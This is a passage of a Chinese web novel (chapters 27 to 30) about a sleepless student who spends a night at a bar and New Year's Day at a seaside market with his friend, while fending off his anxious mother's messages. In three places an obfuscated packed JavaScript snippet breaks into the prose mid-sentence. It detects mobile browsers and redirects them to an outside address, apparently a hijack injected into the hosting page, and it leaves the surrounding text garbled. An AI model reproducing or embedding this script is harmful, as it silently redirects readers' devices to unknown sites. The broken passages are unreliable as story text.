画者有天赋。即便是陆引，都不一定能时时画出这样的手笔。陈向然想。 “看什么呢？” 是齐怀生。 陈向然把腿往前一送，关上了抽屉。 27. 通宵 “没事儿，看你题写得怎样。”陈向然坐上他课桌，摆摆小腿，把抽屉合严实些，手里翻他的书，“这些题都不咋地啊。” 他装模作样。齐怀生没搭理他，把床上的被褥提起来荡了两荡，再铺上一层毛毯。他掀开一脚被子，抽两把纸巾擦干湿漉漉的脚，裹进被子里。 陈向然看看钟表，时针刚过九点。耳边听见齐怀生说：“来吧。” 他转过脸来，齐怀生已经躺进了被窝里。 “干嘛？” “要么一起睡，要么你上客厅学习，等我起床再进来睡。明白？” 齐怀生半夜还要溜出去上班。陈向然倏然想到。 “哦……”他关了台灯，从桌上蹦下来，和齐怀生躺到一起。 陈向然这回没有睡着。 他像往常一样失眠了，怕影响齐怀生，不敢起床，可这样躺着又实在难受。脑袋在黑暗中嗡嗡作响，就像整个人沉进了大海深处…… 四周是无边际的、昏暗的、光影浮动的蓝色海水。齐怀生在身边的时候，鲸吟声都变得温和起来。他想象那只巨物从眼前游过，先是鲸须、下颌条纹，慢慢地，才看到它的眼睛，乌溜溜的，有点好奇，还有点无辜。有齐怀生家盛菠菜的盘子那么大。 咿——它发出一声长吟，向高处去，向海面去。 咿！它的声音猛然尖利。 陈向然猛地睁开眼，是微信提示音响了。他在床头摸了两把，坐起来，把屏幕光调到最暗。 “啪嗒”，台灯开起来。齐怀生没有睡在身边，他站在书桌前，衣服都已经换好了。 “本来不想吵醒你。”他说。 陈向然用袖子抹去脑门的汗，拇指点开微信消息。是林岚。发消息的时间显示两点零八分。 [妈]：向然啊，妈妈半夜突然想到上月新出的一个试卷集，理科都有。我问过刘永凡妈妈了，这个试卷他也在做。你寒假期间尽量把它写了。 [妈]：嘿，半夜脑子灵光，总是容易想到点东西，你早上看到，记得回复妈妈。 陈向然垂眼看着手机，消息静静地躺在屏幕里。屏幕的光把脸衬得惨白。一滴冷汗在他鬓角缀了许久，终于一下坠至下巴。他抬手用袖子抹去。 齐怀生背上了单肩包，看到他的脸色，又卸了包，两手摁着碎花被褥凑过来问：“怎么了？” 陈向然吸吸鼻子，点起输入框，两个拇指悬空在九宫格上。想问她现在在哪，除夕夜和谁过，什么时候回来。但知道了也没什么用。旁边偷窥屏幕的齐怀生伸来一只大手，摁灭了他的屏幕。拍拍他后背：“走吧。” 陈向然神志朦胧地看他。 “没试过通宵吧好学生？”齐怀生重新背起包，脑袋一扬，“走，带你去嗨。” “喂，可是……” 他还真从没干过这种事，被林岚发现了，她会怎么想呢？ “你是去打工的，我……” “别你了。”齐怀生把外衣扔给他，“什么都别想，尝试一下新的事情。” 陈向然盯着自己码放在椅子上的休闲装。 齐怀生没瞎说。白天门可罗雀的巷头酒吧，半夜竟聚了一批牛鬼蛇神。 灯光也换了，一走进去，彩光游弋。半夜两点比晚上八·九点更吵闹。陈向然被拉着在这些人中间走窜，第一次走进人群的台风眼，霎时晕乎，手腕被牵引向哪，他就向哪，呆呆地认着这些七秒后就会忘得一干二净的脸。齐怀生向他介绍那些无家可归的外地打工人、露宿街头的流浪汉和离经叛道、无人看管的少年。他们蜷缩、买醉、狂欢，在夜里找到自己的世界。 都是各种意义上没有家的人，而今晚他们只需向谭持支付少量费用，就可以在这里麻醉到天明。等第二天阳光一照，黑夜的保护色散去，他们就会各奔东西，再不相见。 “人这么多，还需要你来？”陈向然问。 “那怎么少得了生哥。” 陈向然回头，李荧从里屋走出来。 她步履缓慢，打扮依旧不像她的年龄，但她许是抽烟少了，身上没有烟味。 “我们这边，夜间场所都很活跃的，生哥是揽客利器。信不信，他还能让一些客人，自愿且免费为酒吧唱歌。” “生哥拳头硬嘛。” 齐怀生斜觑他一眼：“你想尝尝？” 陈向然咧笑蒙混。 人群中有几个是齐怀生的老相识，从原来的酒吧跟来，说是知道他今晚在这，来给他捧场来了。但陈向然想，他们或许只是为了省点酒钱。 申恺不知什么时候来的，一个人来。进门前李荧就像个灵敏的红外线探测仪一样，感知到什么，从侧门离开了。 “生哥带兄弟来啊？唷，这是哪位哥？原谅我记不住名字哈。”有个黄毛摇头晃脑地荡着他两个大耳环，手里举了杯冰啤。 “我肯定，这个绝对没见过。新收的吧。” “小兄弟来来来，认识一下嘛。” 这帮少年太热情，把陈向然往他们身边牵，要请他喝酒。齐怀生没松手，反把他拉到身后保护起来：“哎哎，我这朋友不喝酒。” “开什么玩笑啊齐怀生，你的人个个都会喝。哦嚯，恺哥也来了。恺哥你说，这小子是不是装不会喝？” 申恺眯着眼看看齐怀生，又看着陈向然：“我哪知道……” 齐怀生推了一把黄毛，把他拉出人群：“以为人人都像你们哪？自个儿玩儿去。” “你啥时候唱啊？你不唱妞儿们都不来。” “催什么，等着吧。” 陈向然又在混乱的欢呼、聊天声中被牵走，鬼使神差地回头看了一眼。 那些打工人裹着军大衣，都是上了年纪的，图个挡风的地方休息。角落一个中年流浪汉也没有加入他们年轻人狂欢的队伍，蜷卧在两张椅子上。他光着脚，脚趾甲盖黑乎乎的，手也黑乎乎的，隔着土褐色的灯笼裤抠挠两下大腿，翻个身，腿上的钥匙串便叮铃一响。 他手上捏着一张红白相间的纸，在黑暗里，落地窗外刺目的车灯游鱼一样从纸上掠过——那是一张彩票。 进了里屋，坐在长木椅上。这里面的灯光依然很苍白，投在四面白墙上，泛着淡淡的、迷蒙的青色。桌上放着长嘴电热壶、白瓷杯、茶具。齐怀生开了盖，壶里有水，便把杯子洗了一遍。 陈向然听着杯子和茶盘碰撞的叮当声：“申恺也来陪你吗？” “他啊，哪都去，就是不爱着家。”齐怀生说，“老何本来也跟着，今天说寒假作业没写完，怕交不上。” 陈向然笑了笑，又缓缓落下嘴角。心想申恺让那么多女孩爱着他，今晚其他人都带了女伴，他却也形单影只地来了。在一个常人不会出来游荡的午夜。 他盯着茶具看了一会：“为什么带我过来？” 齐怀生在茶盘上洗完杯子，从长嘴壶里倒出白水：“那你干嘛答应跟过来？” 陈向然喝了口冷水，喉咙微呛，咳嗽两声，搁下白瓷杯。 他哑着嗓子缓缓道：“睡不着……好多题要写。” “我想也是。” 陈向然看着他的侧脸。 他不知道齐怀生怎么老是能看穿他，这让他感觉哪儿不大自在。 外面开始响起柔和的暖场音乐。那些人吹牛碰杯，因为谁讲了一个无聊的笑话笑作一团，这里好像永远都是热闹的，永远都会热闹下去。 “我去了。”齐怀生碰了一下他，“谭哥今天用不着床，你困了去里面睡。本来就缺觉，别撑着。” 陈向然没进去，他撑着眼皮，想听完齐怀生的一首歌。 歌曲在演奏时是完整的，不是他下午弹的一分钟版本。但延长、补充的音律改变了整首歌的格调，仿佛从南洋游到了西域。陈向然大致听出他加上了不少半拍休止符，像洒落在巧克力碎上的白糖，让曲子变得活泼跃动起来。 他听着那些旋律，和掌声，原本的生活就好像被折叠了。这里的一切也是不一样的，齐怀生总是带他见到不一样的东西。见过了河水、草木、寺庙檀香，听过了颂唱生命的唱经声。今晚则是狂欢、恣意、酒水、音乐，和无处归宿——至少在精神上无处归宿、也就无所顾忌的少年人。 他想着如果林岚现在在这里……如果她看见了，大约会心疼自己的乖儿子被人欺骗，告诉他要提高警惕，远离这些生活得如此失败的人。 她一定会这么说。在他还是个迷迷糊糊的孩子时，她就说过这样的话。而今天他有种羡慕。外面那些人有一种过分彻底的觉醒，他们叛逆，总是表现得要与一切割裂。 他们稚嫩又不顾一切地去出格，也总好过像他这样，在半梦半醒之间的人。 过了一会他开始昏沉了，喧闹飞出天外，他又沉入海底。寂静的海再次包裹了他，他好像真的能再度睡去。 他该休息了，便关上两道门隔绝外面的声音，关了灯，在谭持的床上躺下，盖上被子。 窗外风呼呼吹过，灌木沙沙作响。月光透过纱帘，将昏暗的房间映上雪色。 忽然一道白光迸射，他猛地睁开眼睛，摸到手机，是屏幕亮了，界面正好停在林岚的微信聊天框。 聊天框仍然停留在两点钟的两条信息。陈向然方才没注意，肩膀压到了拼音键盘，输入框里满是无规则的英文字母。好在没有发出消息，他松了口气，抹去额头上的汗珠，长按删除键， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301946|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 输入框所有内容全删干净了。 他熄了屏幕放下手机，缩回被窝里，刚刚的睡意又被赶跑了。于是他起床开了一道门——他听见齐怀生此时换了另一首歌。 他又回到床上，借着宁和的音乐慢慢进入梦乡。 叮咚一声提示音，他轻轻叹了口气，摸过手机，解锁屏幕。 半阖的眼睛渐渐圆睁。他一个打挺从床上坐起来。起得太猛，心脏擂鼓般咚咚狂跳起来。 [妈]：然然你怎么还在玩手机呢？这都半夜了！ 他没拿稳，手一颤，手机咣啷掉在地上，屏幕朝上，钢化玻璃裂了一道缝，光隐隐不停地闪着——从那一句开始，下面不断冒出新消息，一条又一条，手机叮咚、叮咚、叮咚地响。林岚在数落他，逐条逐条地，从作息时间到高考危机意识，再到期末落差。 可大半夜的，她也盯着他的聊天界面。她为什么也没有睡呢？ 他没有回消息，林岚一个电话打过来。他捡起手机，铃声进行到副歌结束，他才摁了接听键，声音很哑：“喂。” “然然你怎么回事呢？”林岚听上去既责备又焦躁，“你怎么学会熬夜了？你从小都没超过十一点睡觉，学校也是十点半熄灯，今晚怎么了？” 陈向然沉默了一会。 “我……” “妈妈是不是说过留宿比较好？你留宿了吗？还是自己回家了？” “我……留宿了。”他咬紧下唇，直到尝到一丝血腥，“在……学习。” “学习为什么还玩手机？你要是这么撒谎，下次还是把手机交给严老师好了。我会让严老师通知你，我们每天定时通话就好，这样也方便。”林岚的声音也是哑的，说着说着，话语含糊不清，“我一分钟后再给你打电话，希望你已经关机了，好吗？” “嗯……” 刚挂电话，他就关了机。 他彻底睡不着了，游荡到外面的电视旁，将门拉开一道缝隙。 喧闹声瞬间灌泻进来，他正好看见齐怀生在三米开外的小舞台上。他刚唱完第三首歌，嗓子估计也累了，卸下吉他正要下台。女孩们呼拥上来献礼、拥抱，惹得她们的男朋友不服气，笑着说齐怀生不行了，轮到他们来露一手。他们要轮番唱到天亮。 陈向然摇摇头，算是信了李荧的话。 他刚合上门，门立刻从外面被推开。齐怀生走进来，一见他站这，顿住了。两人原地盯着对方。 外面的吵闹声更甚，有人拿着话筒热场。 “还没睡？”齐怀生一挑眉毛。 已经四点多钟，齐怀生本打算在长椅上将就到天亮，不进屋吵他。然而陈向然一脸疲惫和无辜地站在那，视线上下飘忽，反应了几秒才迟钝地点点头。 齐怀生好像很无奈似的叹口气，说陪他。 陈向然坐在红木椅上，低垂着脑袋，揽过自己的外套盖在身上。他示意齐怀生进屋去睡，说总是给他添麻烦，不想打扰他休息。 齐怀生静默了。他的沉默总是很有力量一般，隐隐透着怒意。但这回没有那么强烈的压迫感，他只是着急而已。 他慢慢松开拳头，最后只是说：“我有事想和你说，陈向然。”他把他从长椅上拉起来，“走，我们挤一挤，躺着说。” 陈向然感到自己已经不能思考，脑袋像包裹了一层塑料袋，累得透不过气来。可偏偏就是醒着，绷着，脑海里的那根弦似乎永远松不下来。所以齐怀生拉他，他便随着他走，进里屋关上门，世界除了月光、黑暗和衣物摩擦的声音，什么都隔绝了、消失了。 他们躺上床。这张床太小，他们躺上去交叠着手脚。齐怀生一条腿蹭在床边，只差一点就垂到床下。 齐怀生问能不能抱着他睡，地方太小了。陈向然迷糊地“嗯”一声，就感觉后背热哄起来，腰上横过一条手臂。齐怀生的下巴轻轻蹭过他头顶的软发。 “你没什么要和我说的吧？”陈向然说，“那天你也是这么骗我的。” 齐怀生从鼻腔里哼出一声笑：“你这么记仇啊？” “是你过分。”陈向然拖着疲累的呼吸，“利用我的信任，把我骗走。” “别说得我好像诱.拐。”齐怀生揪了一下他胸前的衣服，做出勒脖子的动作，“不然你就完了。” “但我有问题。”陈向然朝后扭头，感到太阳穴边有他的呼吸，“你真是石川的老大嘛？这片区的混混都听你的？” “你□□电影看多了吧？” “我几乎没看过电影，没时间。”陈向然想了一会，“只看过纪录片，但我忘了看过什么。” “非要说的话，我确实是。”齐怀生暗了暗眼神，“我必须得是。” 28. 过年 凌晨时分，陈向然才终于睡着了。 鼻尖萦绕着齐怀生身上的檀香气，和吉他带给他的木香气。醒来时发觉眼前还是昏暗的——不知怎么翻了身，脸埋在齐怀生锁骨前，遮了清晨的光线。醒来第一眼是齐怀生的下巴、嘴唇、人中……离他的脸只有毫厘。 他没动，等着齐怀生醒来。 早晨的酒吧又恢复了安宁。 那些少年人、打工人不知什么时候离开的，只剩下断断续续打着呼的流浪汉。 陈向然经过木茶几，发现有个钥匙串，吊着一块塑料牌，写着“大门”。谭持留了张条，感谢他们昨晚来帮忙拉客，他们终于能买点补品去医院看李荧的父亲。已经先走了，给他们留了酒吧大门的钥匙。 齐怀生在酒吧卫生间漱口洗脸，出来时抽了几张纸巾抹去满脸的水珠。看到陈向然杵在吧台边，于是顺着他的视线看去，是三个流浪汉，刚刚从酒吧离开。 “睡得还好？”齐怀生问他。 陈向然点点头。 齐怀生甩了甩电动车的钥匙：“年初一，想去哪逛？” “可是——” “会留时间给你写作业的。”齐怀生说，“我想想……去海滨广场吧，过年期间有集市。” 天光落进玻璃落地窗，一寸一寸蔓延到陈向然脸上，他扬起笑容，多了一丝明媚：“说话算话？” “当然算话，作业狂。” “我是说广场。”他反驳道，“我很久没去了。” 两人先回一趟家。锁上酒吧门的时候，那个流浪汉不知从哪个方向又经过这里，在街对面“嘿嘿”地招两下手，露出一口黑黄的牙齿。他身后还有另一个流浪汉，面色沉郁，腰间别着一个红色的铁扣，走起来一晃一晃。 齐怀生也冲着走在前面的流浪汉挥挥两串钥匙，叮铃铃地回应了一下。他们的招呼打得很短暂，只是不经意的擦肩而过。 两人沿路穿过自行车来往的老街，拐过一根电线杆，再进入那条极深的窄巷，回到齐怀生家。电动车就锁在家门口，但齐怀生没有立马骑上它，他进了一趟家门。陈向然便趴在阶梯扶手上等他，听见屋里一阵水声。 直到他出来，站在门口锁门。 “没被你爸说一顿？”陈向然问。 “老同志今天去批发市场，有大单生意。”他从楼梯上下来，踢开一袋挡路的垃圾，“昨晚咱们溜出来的时候，我把房间门锁了，怕他早上发现。” 所以他必须这个时候把房间门打开，不留痕迹。陈向然没猜错的话，刚刚的水声是他将牙刷、口杯和毛巾弄湿了一遍。 陈向然噗嗤笑出来：“一看你就是惯犯。” 齐怀生扔给他一个头盔：“多谢谬赞。” 电动车在大街上轰鸣。 陈向然紧紧抓扶齐怀生的肩膀。他们像水里扭动的鱼苗一样在机动车中间穿梭。 柏油马路蜿蜒铺展，大多是两车道加上护栏隔离的小型机动车道。他们迎着朝阳，开进最热闹的骑楼建筑地段。历史老街充斥着上世纪贸易港口的热闹气息，货船呜呜鸣着汽笛。电动车飞驰，头顶掠过荣生典当行、南洋百货等等形状各异的老招牌。 前方却是堵车的弧形路段。 在这已经能望见海滨广场，石雕地标十分显眼。齐怀生将车停进骑楼的架空层，带他步行穿过最后的路。 “来过这嘛？”齐怀生问他，“这边是老城区。” 陈向然仰着头，天光晃眼，他眯着眼睛想把这座小城一切古旧的、缓慢的过去收进眼底。 “没来过。我家在新开发的市区。” 海滨广场本空旷无物，因为是年节，才一片火红的喜气。空地被各色摊贩占领。小吃、灯笼、对联、红色的盆栽火炬花、古董。卖煎饼的用竹签挑动滋滋烤着的圆饼。卖饰品的铺开地摊，坐小凳上，用一根长棍挪挪饰品的位置，一边挪一边吆喝。卖烤串的支起棚，站在烤炉后用游泳健身的广告纸驱散不断冒腾的烟雾。 陈向然出现在烤串摊前，提高声音喊：“叔，来两串牛腱子。” “好嘞。” 齐怀生在身后不远处等他。他举着两支串过去，一支递到齐怀生手里：“你也喜欢吃这种？” “嗯。” 陈向然打量着他，下巴微抬：“学我的吧？” “是学你。”齐怀生一咬，空了半支竹签，“不错，我也喜欢。” “这边逛得差不多，还有哪里可去？” “带你去那边。”齐怀生吃掉剩下的烤肉，扔了竹签，拉起陈向然往南边飞奔。 齐怀生带他来了海滨广场边缘的石雕护栏。护栏下是涌动的水域。他们沿着这条一眼望不到头的长廊慢慢地走。傍晚的霞光晕染了一片暖融融的黄，被蓝黑的夜色挤压在跨海大桥那头。水面摇曳起伏，渔船闪烁着灯火缓缓驶过桥洞。 陈向然趴在护栏上，迎面吹着晚风，有些好奇：“船会开到哪去？” “呜——”，一声长鸣，码头又徐徐开出一艘客轮。 “喏，看见没，船上那些灯，是夜间诱捕乌贼用的。”齐怀生说，“也许是去对应的海域。” “你怎么什么都知道？” “对面就是我家。”齐怀生指着水上白雾里的剪影，根本看不清对面是什么，“这就是我想让你看的。” “你家？”陈向然伸长了脖子，“在江对面？” “江洲才有江，这是内海。渔船去的方向是隔壁县海湾。”齐怀生说，“内海那头就是我老家了。” 薄雾漂浮，天色极深，夜幕从天际边压来，渐渐和夕阳分割出一暖、一冷。 齐怀生去了广场上的公共厕所，他便继续在海滨长廊上走着。 沿长廊开了许多实体店，修车店，服装店，花店，这些店面都很小、很旧，问了一家修车店的老板，说是开了十年了，没换过地方。最小的店是位于长廊拐角的一家福利彩票，陈向然忽然在店前驻足了。 他想起昨晚在酒吧角落睡得很香、手里还捏着彩票的流浪汉。还想到齐怀生和他打招呼。 台阶的铺砖破损，露出乌黑的水泥。陈向然踩上去险些滑倒。 后背被齐怀生的胸膛抵挡住，扶了一把。 陈向然转过头看他：“你去好久。” 齐怀生抛抛手机，似乎有些不悦：“你关机了，人还不在原地。” 陈向然愣了一愣，从兜里拿出手机，长摁了开机键。 齐怀生问：“怎么关了？” 果然，一开机便弹出无数条消息和无数个未接来电。林岚的消息从训斥到询问他怎么了，再到祈求他的原谅，说她很快就回家陪他了。 可这一瞬间，陈向然又生出一丝愧疚感，因为他竟不想林岚那么快赶回来。甚至希望这个寒假她都在外出差。 “你妈妈很着急？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301947|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “嗯。”陈向然翻着聊天记录，一直翻到半夜里母子的聊天。 “你妈妈太关心你了。”齐怀生似笑非笑。 “对吧？”陈向然很轻地扯了下嘴角，“你也觉得她很关心我。” “这么关心你，过年都不象征性地回个家？” 陈向然没有吱声，转头面对晃眼的夕阳。迎面来的海风带着一丝咸腥。 齐怀生看着他的表情，低头挠了挠后脑勺：“抱歉，说错了。” “你没说错。”陈向然压了压飞扬的头发，话语埋进烈风中，他稍微抬高了声音，“我很理解，她要为我赚够信海的学费，就只能放弃陪我。以前我就是这么想的。” “嗯，那现在呢？” “现在……” 游船在海上漂浮。即将入夜，海天光影斑斓，一切是风平浪静、“正常”的景象，走到护栏边，才能望见长廊下涌动的海水。 没有那样波光粼粼的静美，也没有海船和天空的倒影。只有垃圾、泥土和海藻，在石栏下的角落里波涌不息。 他转过身背倚护栏，看着几米开外的福彩小店，扯开话题：“今天那个流浪汉，你认识他？” 齐怀生跟着他望向小店：“啊，他们经常睡在大排档门口。附近的都认识。” “我以前无法想象，乞讨的人会把钱花在吃穿以外的地方。” 他这么说，齐怀生便明白了他在想什么。“比如彩票？” “你觉得……是为什么？”陈向然笑着看他，“是因为绝望，还是抱着希望？” “我还真问过。八岁的时候从老家那边坐船过来卖鱼，就遇过他们。”齐怀生说，“那时候我载海产的推车半路上坏了，不懂修，就抱着泡沫箱到那边——”他指着千米之外的码头边，临近小镇的海鲜批发市场，“去那边卖。那时人小，力气也小，一不小心撞到客户，海鲜的血水泼到客户的裤管上，被半价讹了一条很大的银枪鱼。”说到这他笑了，“小孩子好讹，后来者就跟着学，那箱海鲜也算是白给了。最后一条鱼是早上那个黄牙叔买走的，他用一样的价格买走，再去海鲜排档花钱让厨师帮忙做，还请我吃。开动前他说他离开一会，回来就拿了张福彩。” 陈向然专注地看着他：“你问了他什么？” “我说，把这几块钱省下来，一周就能多十几块钱，为什么不这样呢？他说他的生活不会因为多了十几块钱有希望。但只要一块钱，却能买来这样的希望。为什么不这样呢？”齐怀生笑了一笑，“别人我不知道，他也许是希望。人没了什么都不能没有希望，不能失去寄托希望的人和事，不然……” 陈向然垂下眼帘。长廊下的水浪依然汹涌浑浊。 他知道齐怀生想告诉他什么。 他曾经想抓住那么一种东西。不被任何人、任何东西干扰的，唯一能确认自己是自己的东西。 齐怀生顿了片刻，沉声说：“其实昨晚，我有话和你说。看你累了，就不提了。” 陈向然看着他的侧脸。齐怀生背对着海，很高，高到挡住他所有视线，唯有夕阳和晚风、海浪声和船笛声同时从他身后涌来。 他“啪嚓”打亮火机，拢着火苗，默默点燃了一根烟。滤嘴轻轻含在唇上，微微抖动。 灰白的烟雾从唇缝里析出，散进海上微凉的风里。 “我妈生前也爱艺术。你看到的那幅画，是她最后一幅作品。” 29. 撞见 那些伤心事，旁听者总是比局中人感受更深。 有一瞬间，陈向然以为他在表达脆弱，但他向来不会如此，此刻也是一样。齐怀生像是提起一场很遥远的温暖，相比起那些苦闷，他好像总是比陈向然看见更多东西。 出卖他的只有那根烟。 “她也画过别的，画海鸥、渔船、柑橘树，画人。是我们镇唯一的画家。和别人……有那么点儿不同。” “什么不同？”陈向然问。 “我们那儿大多是手工艺为生、唱戏为生，也就是搞雕刻刺绣、搞音乐的。她画画，画的是西画，也就是像你画的那种。但她老画一些别人看不明白的表达。”齐怀生抽了一口，火星闪着微弱的橙红，“我很小的时候也看不懂，八岁那时见过那个流浪汉之后，看明白了一些东西。她来过石川，因为她画上那些人，就是大排档门口的几个流浪汉。” 他接着说：“三个流浪汉，两个握着福彩——一个举着票，笑得挺开心，像我遇见的那个人一样；另一个低头盯着票，神色郁郁，有怒气和攻击性，裤腰上别个红环。还有一个手上是几块几毛的旧零钱，没有表情，眼神沉寂，还耷拉着头。不知道死了还是活着。” “我把我看到的说给我妈听，她问我：你想成为谁？”齐怀生转过身，天黑了，跨海大桥彩光烁烁，映在长廊里来往的行人脸上。 陈向然问：“那你选了谁？” “谁都不选。”齐怀生和他相视一笑，“才八岁，当时就想，我长大后就只能变成这仨么？我就说，我不想流浪。” “够可以的。”陈向然不禁捧腹。 “怎么样？没有像这样玩过吧？” “嗯。”陈向然止住笑，倚着护栏，“我三天没刷题了。” “三天，哈。”齐怀生笑着摇头，在石栏上碾灭烟头，扔进垃圾桶里，手往兜里一揣，往广场美食集市走，“还有第四天第五天，你想几天都行。就怕你不敢跟哥混。” 陈向然生出一股倔强，不想被他瞧不起。于是小跑追上他，脑袋微扬：“你敢带，我就敢跟。” “那好。”齐怀生拍拍他，指了指前方的喧闹，示意他前面是广场美食街，“跟生哥去嗨。” 海滨广场夜市开启，更多小吃摊刚刚才入驻。陈向然买了一袋炒板栗，壳剥得利索，一颗一颗丢进嘴里，直到某张面无表情的臭脸伸到面前。 “我呢？”齐怀生抬抬眉。 陈向然把一整袋送到他面前。 “懒得剥。” “……” 得寸进尺的小人。 他剥了个个头很大、形状怪异的板栗，塞到“小人”嘴边。可这位“小人”紧闭着唇，老大爷似的，潇洒地迈步，就是不张嘴，似乎很享受他一遍又一遍的喂食。 陈向然知道自己上了当，可板栗碰了对方的嘴，吃下去总觉着哪儿不对。 他试着塞，再塞，正面塞，掐着他脖子塞。齐怀生被弄得难受，脚步急促起来，越走越快，变成小跑。他回头看陈向然，冲他得意地笑。 晚风吹来，他的兜帽也掀飞起来。两只手杵在衣兜里，双脚跃起，踩过绿化带灌溉留下的积水。又转过身倒着走，广场上彩色的光束摆动着，他的脸便在夜色光影中忽明忽暗。 他气质不再低沉，好像轻盈起来，暗沉的眼里终于有一丝明亮。 陈向然没见过他这样的神色。他总是表现得万能，总想用一双肩膀背动一切，从来不愿好好做一个少年。 于是他勾勾嘴角，忽然“啊”一声怒吼追上去，就差拿个什么东西把这人嘴撬开。他想把板栗直接塞到对方手里，那双懒人手却废了似的一直戳在衣兜里。 他追得累了，脚步慢下来，盯了这个板栗许久，决定自己吃掉。板栗刚到嘴边，那张紧闭的嘴忽然凑到眼前，一下从他手里叼走了板栗。 抬头，齐怀生在眼前站定，轻挑眉梢，板栗嚼得发出响声。在人潮来去的街上，他偏偏听得格外清晰。他暗骂一声“草”，默默和某人并肩前行。一路安静无话，只有他不停把手上的“口水”蹭回某人衣服上。 电动车在家门前停下，熄灭引擎。 他们跑上楼，进家的一瞬间就感受到未散的烟火气。厨房有晾晒的碗盘，齐卫平该是回来过，又离开了。陈向然把板栗放到茶几上，趿拉拖鞋经过厨房门。 他朝里面看了一眼。 四个盘、一个煮锅、三个碗、一整把筷子晾在窗台上，还有平底锅、铁铛…… 怎么都不像一个人吃的晚饭。 可齐怀生说，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301948|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为上学才搬来石川镇的，亲戚朋友都还在老家。 陈向然不再猜测与自己无关的事。他从齐怀生房间的阳台收进衣服，脱下身上的衣服甩在地上。 齐怀生低着头走进来，背对他坐在床尾：“不能进去洗澡再脱？” “这又没女的。”陈向然把脏衣服扔进塑料筐。 “这几天冷。”齐怀生说。 陈向然经过他，低下头观察他的表情，又偷袭般掀起他的衣摆：“哎，你是一个人住太久了，不习惯我在这住吧？” “不是。”齐怀生任他挑衅，动都没动。 陈向然觉得没意思，放弃逗他，揽着衣服去浴室：“你要是去我们宿舍，满屋子都是光膀子的，你不得躲墙里去？” “你过来。” “干嘛？” 屋里窗帘也没拉，陈向然光着上身到处晃荡。一会走出房间去浴室挂衣服，一会回来提走塑料筐。 齐怀生突然“蹭”一下站起来，以一股蛮力把陈向然拉进房间，摁坐在床头。他要起身往门口去，陈向然便恶作剧般扯住他身侧的衣服，把他往回拉。 齐怀生趔趄一瞬，朝他身上摔来，撞上他的肩膀。大概是担心压着人，手一伸撑在床上，另一只手探不着床面，把住了陈向然的腰胯。 陈向然的手肘撑在身后，才没有彻底躺倒。他心想，程希那猴儿要敢这么跳他身上来，只会被他打得起不来。 而后他衡量了一下齐怀生的体格，和他在这一带的名号，决定忍了。 他听见齐怀生喘着粗气，自己也被传染了一样深呼吸起来。家里一下安静了，窗外晚风在巷道里奔驰而过。 “有人来，你待在里面。” “除了你爸，还有谁……” 他忽然想起厨房里的几副碗筷，便明白了。 “这你就别管——” “生哥！” 叫他的是个女声。两人一怔，木着脸朝门口看去。 叶知进门时就看到这么一副景象：自己认识的两个男生几乎叠在床上，陈向然还光着上身，手扯着齐怀生的衣服，掀开了一段腰，能看到他腹部的肌肉线条。 “对……对不起。”叶知躲开目光，局促地抠着手指，“那个……你们换衣服，我先走。” 30. 突发 齐怀生让他进浴室脱衣服，可不是天冷，而是知道有女生要来。 还是他认识的女生。 陈向然洗完澡，踩着湿漉漉的拖鞋从浴室里出来，水声和雾气一同散去，他听见一声细小的猫叫，和齐怀生低声哄猫的喃喃。 是一只长尾虎斑猫。猫咪个头不大，却也不是奶猫。皮毛灰褐，四爪雪白，瞳仁绿莹莹的，浑身干净柔软。它有点顽皮，还有点目中无人，四爪一蹦跳到齐怀生膝上，又不甘寂寞地跳上茶几，被齐怀生硬是抱了下来。 “我玩玩。”陈向然凑过来蹲下，挠了两下猫下巴，另一只手顺着毛从它的脑袋捋到后背。许是挠对了地方，小猫开始亲近他，朝他身上贴来，尾尖撒娇似的微微卷起。 他坐在地上，靠着茶几曲起两腿，两臂环住了猫。它靠在怀里舒服地呼噜，陈向然便低下头，用鼻子蹭蹭它：“是刚才……她送来的嘛？” “嗯。”齐怀生似乎不想过多解释，“你喜欢？” “挺可爱的。” “宠物对人有治愈作用。”他盘腿坐在陈向然身边，看着他的侧脸，“网上查的。” “猫咪从来不会打搅你，但又一直在那等着你。”怀里的猫咪不停叫唤，陈向然便将它放到地上，“可我有时候觉得，特定的人，可能比一只只会吃喝睡的宠物更有温度。” 齐怀生看着他，眼神变得很深。 “嗯。”他扭开头说，“正好她家不太喜欢猫，我让她拿过来寄养，你随时可以过来看它。” 猫仍在喵喵叫唤，声音比方才小了，像是累了，忽然像条海参一样趴在地上，只剩腹部在起伏呼吸。陈向然问：“有吃的吗？它应该是饿了。” 